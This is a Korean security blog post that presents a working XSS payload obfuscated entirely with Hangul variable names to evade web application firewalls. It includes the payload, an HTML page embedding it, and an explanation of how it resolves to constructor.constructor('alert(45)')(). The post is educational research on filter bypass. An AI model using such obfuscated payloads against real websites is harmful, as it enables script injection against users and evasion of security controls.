11/21/2018

WAF Bypass XSS Payload Only Hangul(한글만 이용해서 XSS 페이로드 만들기)

어제 뒤적뒤적 웹 서핑하다가 가타카나로 된 공격코드https://github.com/aemkei/katakana.js)를 보고 한글로도 한번 만들어봐야지 싶어 퇴근길에 끄쩍끄쩍했네요..
(폰으로 테스트하는건 진짜...하)


([,하,,,,훌]=[]+{},[한,글,페,이,,로,드,ㅋ,,,ㅎ]=[!!하]+!하+하.ㅁ)[훌+=하+ㅎ+ㅋ+한+글+페+훌+한+하+글][훌](로+드+이+글+한+'(45)')()



위 이미지 처럼 콘솔에 넣고 실행하거나 HTML 코드로 보면 잘 실행됩니다 :)

<html>
  <head>
    <meta charset="utf-8">
  </head>
<script>
([,하,,,,훌]=[]+{},[한,글,페,이,,로,드,ㅋ,,,ㅎ]=[!!하]+!하+하.ㅁ)
[훌+=하+ㅎ+ㅋ+한+글+페+훌+한+하+글][훌](로+드+이+글+한+'(45)')()
</script>
</html>


How to make?

결국은 JSFuck에서 파생된 코드입니다. 아래 코드 보면 interger같이 여러 타입들에서 Array 형태로 호출하면 2.abcd.asdf 하는 식으로 내려갈 수 있습니다. 결국 저런식으로 DOM 객체를 내려갈 수 있다는건데, 이를 통해서 내부 consturctor(생성자)로 특정 함수를 실행할 수 있게됩니다.

(a=1, b=2)["constructor"]["alert"]()
TypeError: 2.constructor.alert is not a function

결국은 각각 한글이 코드를 담고 있는 변수가 되면서

([,하,,,,훌]=[]+{},[한,글,페,이,,로,드,ㅋ,,,ㅎ]=[!!하]+!하+하.ㅁ)
윗줄은 각각 에러 데이터를 이용해서 문자열을 저장하기 위한 방법들

[훌+=하+ㅎ+ㅋ+한+글+페+훌+한+하+글][훌](로+드+이+글+한+'(45)')()
   constructor               constructor    alert(45)

최종적으론 constructor.constructor('alert(45)')() 형태의 코드로 실행됩니다.

훌 : constructor

jsfuck 쪽 내용 참고해주시면 조금이나마 도움됩니다 :)
https://www.hahwul.com/2018/09/jsfuck-xss-payload.html
https://www.hahwul.com/2017/07/web-hacking-angularjs-sandboxdom-based.html  => constructor 관련


HAHWUL

Security engineer, Gopher and H4cker!

Share: | Coffee Me:

0 개의 댓글:

Post a Comment